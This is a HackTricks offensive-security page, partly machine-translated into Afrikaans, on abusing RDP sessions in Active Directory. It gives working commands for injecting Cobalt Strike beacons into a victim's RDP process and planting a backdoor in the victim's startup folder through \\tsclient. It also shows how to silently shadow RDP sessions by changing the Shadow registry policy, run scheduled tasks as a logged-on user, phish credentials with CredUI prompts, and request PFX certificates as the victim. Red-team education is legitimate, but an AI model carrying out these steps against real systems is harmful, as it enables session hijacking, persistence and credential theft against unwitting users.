RDP Sessions Abuse
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RDP Process Injection
As die external group RDP access tot enige computer in die huidige domein het, kan ’n attacker compromise that computer and wait for him.
Sodra daardie gebruiker via RDP toegang verkry het, kan die attacker can pivot to that users session en misbruik maak van die bevoegdhede daarvan in die eksterne domein.
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user
Kyk na other ways to steal sessions with other tools in this page.
RDPInception
As ’n gebruiker via RDP into a machine toegang kry tot ’n masjien waar ’n attacker vir hom wag, sal die attacker in staat wees om inject a beacon in the RDP session of the user, en as die victim mounted his drive toe hy via RDP toegang gekry het, kan die attacker daarby toegang kry.
In hierdie geval kan jy net compromise die victims original computer deur ’n backdoor in die statup folder te skryf.
# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c
Size Type Last Modified Name
---- ---- ------------- ----
dir 02/10/2021 04:11:30 $Recycle.Bin
dir 02/10/2021 03:23:44 Boot
dir 02/20/2021 10:15:23 Config.Msi
dir 10/18/2016 01:59:39 Documents and Settings
[...]
# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe
Shadow RDP
As jy ’n local admin op ’n host is waar die slagoffer reeds ’n active RDP session het, mag jy dalk daardie desktop view/control sonder om die password te steel of LSASS te dump.
Dit hang af van die Remote Desktop Services shadowing policy wat gestoor is in:
HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services\Shadow
Interessante waardes:
0: Uitgeskakel1:EnableInputNotify(beheer, gebruikersgoedkeuring vereis)2:EnableInputNoNotify(beheer, geen gebruikersgoedkeuring)3:EnableNoInputNotify(slegs-weergave, gebruikersgoedkeuring vereis)4:EnableNoInputNoNotify(slegs-weergave, geen gebruikersgoedkeuring)
:: Check the policy
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
:: Enable interaction without consent
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 2 /f
:: Enumerate sessions and shadow the target one
quser /server:<HOST>
mstsc /v:<HOST> /shadow:<SESSION_ID> /control /noconsentprompt /prompt
Dit is veral nuttig wanneer ’n geprivilegieerde gebruiker wat oor RDP verbind is, ’n ontgrendelde lessenaar, KeePass-sessie, MMC-konsol, browser session, of admin shell oopgelaat het.
Scheduled Tasks as aangemelde gebruiker
As jy local admin is en die teiken gebruiker op die oomblik aangemeld is, kan Task Scheduler code begin as daardie gebruiker sonder hul wagwoord.
Dit verander die slagoffer se bestaande logon session in ’n execution primitive:
schtasks /create /S <HOST> /RU "<DOMAIN\\user>" /SC ONCE /ST 00:00 /TN "Updater" /TR "cmd.exe /c whoami > C:\\Windows\\Temp\\whoami.txt"
schtasks /run /S <HOST> /TN "Updater"
Notes:
- If the user is not logged on, Windows usually requires the password to create a task that runs as them.
- If the user is logged on, the task can reuse the existing logon context.
- This is a practical way to execute GUI actions or launch binaries inside the victim session without touching LSASS.
CredUI Prompt Abuse From the Victim Session
Once you can execute inside the victim’s interactive desktop (for example via Shadow RDP or a scheduled task running as that user), you can display a real Windows credential prompt using CredUI APIs and harvest credentials entered by the victim.
Relevant APIs:
CredUIPromptForWindowsCredentialsCredUnPackAuthenticationBuffer
Typical flow:
- Spawn a binary in the victim session.
- Display a domain-authentication prompt that matches the current domain branding.
- Unpack the returned auth buffer.
- Validate the provided credentials and optionally keep prompting until valid credentials are entered.
This is useful for on-host phishing because the prompt is rendered by standard Windows APIs instead of a fake HTML form.
Requesting a PFX In the Victim Context
The same scheduled-task-as-user primitive can be used to request a certificate/PFX as the logged-on victim. That certificate can later be used for AD authentication as that user, avoiding password theft entirely.
High-level flow:
- Gain local admin on a host where the victim is logged on.
- Run enrollment/export logic as the victim using a scheduled task.
- Export the resulting PFX.
- Use the PFX for PKINIT / certificate-based AD authentication.
See the AD CS pages for follow-up abuse:
References
- SensePost - From flat networks to locked up domains with tiering models
- Microsoft - Remote Desktop shadow
- NetExec - Shadow RDP plugin PR #465
- NetExec - schtask_as module
- NetExec - Request PFX via scheduled task PR #908
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).
Ondersteun HackTricks
- Kyk na die intekenplanne!
- Sluit aan by die 💬 Discord-groep, die telegram-groep, volg @hacktricks_live op X/Twitter, of kyk na die LinkedIn-bladsy en YouTube-kanaal.
- Deel hacking tricks deur PRs in te stuur na die HackTricks en HackTricks Cloud github repos.


